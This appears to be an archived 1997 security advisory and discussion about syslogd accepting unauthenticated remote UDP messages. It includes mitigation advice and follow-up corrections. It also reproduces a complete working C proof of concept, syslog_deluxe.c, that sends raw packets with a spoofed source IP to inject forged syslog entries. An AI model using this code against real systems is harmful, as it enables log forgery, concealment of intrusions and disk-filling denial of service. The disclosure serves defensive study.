home *** CD-ROM | disk | FTP | other *** search
-
- I think no one would argue that syslog is every Unix sysadmin's close
- friend. Very often, syslog is a major (sometimes the only) way of gathering
- various information, including security-related, about a particular system
- or network. Some people trust syslog and make important decisions based on
- what they see there. I've even heard about one lawsuit which involved
- system logs (I'm not sure the system was running Unix, though) as an
- evidence. Fortunately, defendant, sysadmin of the system in question, was
- able to show that syslog entry means nothing. Well, he was absolutely
- right. It's trivial to fake any kind of syslog entry using syslog(3)
- locally, and this fact is widely known and accepted. What is less known,
- however, is that many syslogd implementations have remote reception turned
- on by default.
-
- Remote reception is a very simple thing. If syslogd finds an entry in
- config file which has @hostname at action field, it send a message to that
- host. The idea is OK, but implementation is not. First, there's no way to
- control access to your syslogd, anybody on the net can send you syslog
- message, and you can't tell your syslogd to refuse them (well, you can't do
- this _easily_, hacking the source is an option, where possible). Second,
- the messages are send by the virtue of the wonderful Unreliable Data
- Protocol. This basically nullifies the lack of access control. UDP is so
- easy to spoof that there's no point in restricting the access to the certain
- clients. There's no protocol for communications between two syslogds. One
- sends out a datagram, the second one receives it, if it makes it through,
- and that's it. No acknowledgments of any kind, it's a one way talk. If the
- incoming message has it's source IP set to that of the target system, it'll
- be output in the syslog file just like any local entry, and there's no way
- to distinguish between them.
-
- The attached program, syslog_deluxe.c, illustrates this point by sending out
- a syslog message with both source and remote IPs supplied by the user. It
- was tested to work with syslogds on AIX 4.2, Irix 6.2 and Linux, syslogd
- 1.3-3 (the one that comes with RedHat-4.2). I'm pretty sure it'll work with
- any other syslogd, as long as remote reception is on.
-
- So once remote reception is turned on, you can't trust any syslog entry
- anymore, that is, if you use stock syslogd. Besides, you open your box to a
- nasty DoS, it wouldn't be too hard to fill up the partition that holds
- syslog files, UDP datagrams can be pretty big. I also strongly suspect that
- there may be some overflow conditions and such in certain implementations,
- and having your syslogd listening to Internet is not a very healthy thing to
- do in such a case. So the fix for all that would be turning off remote
- reception. Unfortunately, it can't always be done. Linux syslogd 1.3 has
- this option, and remote reception if off by default. AIX and Irix users are
- not so fortunate. It's on and can't be turned off in any obvious way, other
- than killing syslogd.
-
- You can check your system by running netstat -a | grep udp. If you see
- (among many other lines) something like
-
- udp 0 0 0.0.0.0.syslog 0.0.0.0.*
-
- or
-
- udp 0 0 0.0.0.0.514 0.0.0.0.*
-
- or
-
- udp 0 0 *.syslog *.*
-
- your syslogd is listening, time to do something. If not, you're in luck.
-
- 99% or more systems on the net don't need remote reception. Those need to
- investigate configuration options of the installed syslogd, and possibly
- switch to a more advanced version, such as aforementioned syslogd 1.3. Of
- course, it may not be as easy as it sounds. Apart from possible problems
- with compilation, vendors sometime use "enhanced" syslogd, such as the one
- on Irix. It adds an extra field in front of hostname which has facility and
- priority. It's nice, but it also means that some other Irix programs, such
- as Syslog Viewer, may have problems reading file in standard format.
-
- Sometimes remote reception is desired, though, and it's a tough case. Due
- to the nature of the network protocol, you pretty much have to hope that no
- one sends you a spoofed entry. You can't really make a distinction between
- a spoofed one and a real one. The only true way to fix it is to redesign
- the protocol. Aside from security considerations, reliability could use
- some improvement, too since right now there's only as much of it as comes
- with UDP, i.e. none. I don't think an idea of losing important syslog
- messages due to network congestion is appealing to anybody. Also, in any
- event syslogd should make clear distinction between the local and remote
- messages, and mark them as such.
-
- I personally find it very sad that one of the programs that should help to
- keep security tight is so grossly insecure itself. It's really a shame.
-
- cheers,
-
- yuri
-
- /* syslog_deluxe.c
-
- This program sends a spoofed syslog message. Your have to be root to run it.
- Source and target IP addresses, message text, facility and priority are
- supplied by the user.
-
- It exploits the fact that many syslogd implementations listen to port 514/udp
- and accept whatever datagrams arrive, thus making it very easy to spoof syslog
- entries. Some versions of syslogd allow to turn off this feature, some don't.
-
- The code compiles and works under Linux. Any Unix that has
- SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style
- struct ip though). It may use few improvements, like checking for possible
- ICMP Port Unreachable errors in case the remote machine doesn't run syslogd
- with remote reception turned on.
-
- The idea behind this program is a proof of a concept, nothing more. It
- comes as is, no warranty. However, you're allowed to use it under one
- condition: you must use your brain simultaneously. If this condition is
- not met, you shall forget about this program and go RTFM immediately.
-
- yuri volobuev'97
- volobuev@t1.chem.umn.edu
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <errno.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <syslog.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <netinet/udp.h>
- #include <netinet/ip.h>
-
- #define IPVERSION 4
-
- /* This is the stuff that actually gets sent. Feel free to change it */
- #define MESSAGE_FAC LOG_DAEMON
- #define MESSAGE_PRI LOG_INFO
- char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"};
-
- struct raw_pkt_hdr {
- struct iphdr ip; /* This is Linux-style iphdr.
- Use BSD-style struct ip if you want */
- struct udphdr udp;
- };
-
- struct raw_pkt_hdr* pkt;
-
- void die(char *);
- unsigned long int get_ip_addr(char*);
- unsigned short checksum(unsigned short*,char);
-
- int main(int argc,char** argv){
-
- struct sockaddr_in sa;
- int sock,packet_len;
- char usage[] = {"\
- syslog_deluxe, yuri volobuev'97\n\
- make syslog look the way you want, here there and everywhere\n\
- \t usage: syslog_deluxe src_hostname dst_hostname\n"};
-
- char on = 1;
-
- if(argc != 3)die(usage);
-
- if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
- perror("socket");
- exit(1);
- }
-
- sa.sin_addr.s_addr = get_ip_addr(argv[2]);
- sa.sin_family = AF_INET;
-
- packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
- pkt = calloc((size_t)1,(size_t)packet_len);
-
- pkt->ip.version = IPVERSION;
- pkt->ip.ihl = sizeof(struct iphdr) >> 2;
- pkt->ip.tos = 0;
- pkt->ip.tot_len = htons(packet_len);
- pkt->ip.id = htons(getpid() & 0xFFFF);
- pkt->ip.frag_off = 0;
- pkt->ip.ttl = 0x40;
- pkt->ip.protocol = IPPROTO_UDP;
- pkt->ip.check = 0;
- pkt->ip.saddr = get_ip_addr(argv[1]);
- pkt->ip.daddr = sa.sin_addr.s_addr;
- pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
-
- pkt->udp.source = htons(514);
- pkt->udp.dest = htons(514);
- pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
- pkt->udp.check = 0; /* If you feel like screwing around with pseudo-headers
- and stuff, you may of course calculate UDP checksum
- as well. I chose to leave it zero, it's usually OK */
-
- sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
- (int)(MESSAGE_FAC | MESSAGE_PRI),message);
-
- if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
- perror("setsockopt: IP_HDRINCL");
- exit(1);
- }
-
- if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
- perror("sendto");
- exit(1);
- }
- exit(0);
- }
-
- void die(char* str){
- fprintf(stderr,"%s\n",str);
- exit(1);
- }
-
- unsigned long int get_ip_addr(char* str){
-
- struct hostent *hostp;
- unsigned long int addr;
-
- if( (addr = inet_addr(str)) == -1){
- if( (hostp = gethostbyname(str)))
- return *(unsigned long int*)(hostp->h_addr);
- else {
- fprintf(stderr,"unknown host %s\n",str);
- exit(1);
- }
- }
- return addr;
- }
-
- unsigned short checksum(unsigned short* addr,char len){
- /* This is a simplified version that expects even number of bytes */
- register long sum = 0;
-
- while(len > 1){
- sum += *addr++;
- len -= 2;
- }
- while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
-
- return ~sum;
- }
-
-
- ------------------------------------------------------------------------
-
-
- I'd like to make a correction to my previous message about the syslogd
- features.
-
- First of all, like I said before, syslogd 1.3, on Linux in particular and
- everywhere else it may be running, does NOT default to remote reception,
- you must start it with -r option for that. It's not really a correction,
- but many people missed that part.
-
- I wasn't exactly right about using netstat to determine if remote reception
- is on. I looked at the sources of syslogd 1.3 more carefully. In fact,
- even though it defaults to no remote reception, it creates an AF_INET socket
- and binds to it unconditionally (well, if SYSLOG_INET was defined during the
- compilation, and it was defined in RedHat 4.2 build). It doesn't pay
- attention to it from that point on, though, if remote reception is off, but
- socket is there and it does appear in netstat output. I don't know why it's
- done this way, I guess you may consider it as a feature. No harm, just
- could be misleading.
-
- Of course, if you don't see syslog in netstat output, at least you can be
- sure it doesn't listen on the standard (514/udp) port.
-
- So I guess one more or less simple way to find out if your syslogd is
- susceptible to remote attacks, other than examining the source where
- available, is to use syslog_deluxe against it and see what happens. Of
- course, there's no guarantee: if it works, you're obviously vulnerable, but
- opposite may or may not be true. Ask your vendor :)
-
-
- ----------------------------------------------------------------------------
-
-
- > I wasn't exactly right about using netstat to determine if remote reception
- > is on. I looked at the sources of syslogd 1.3 more carefully. In fact,
- > even though it defaults to no remote reception, it creates an AF_INET socket
- > and binds to it unconditionally (well, if SYSLOG_INET was defined during the
- > compilation, and it was defined in RedHat 4.2 build). It doesn't pay
- > attention to it from that point on, though, if remote reception is off, but
- > socket is there and it does appear in netstat output. I don't know why it's
- > done this way, I guess you may consider it as a feature. No harm, just
- > could be misleading.
-
- It is done that way because @loghost transfers use that same socket for
- communication with remote syslogd's.
-
- You can't simply not create it. If the config file contains any packet
- redirections, you are going to need the socket. Hence in 'secure
- mode' syslogd simply ignores all input packets.
-
- Here's the relevant entry from the OpenBSD syslogd man page:
-
- -u Select the historical ``insecure'' mode, in which syslogd will
- accept input from the UDP port. Some software wants this, but
- you can be subjected to a variety of attacks over the network,
- including attackers remotely filling logs.
-
-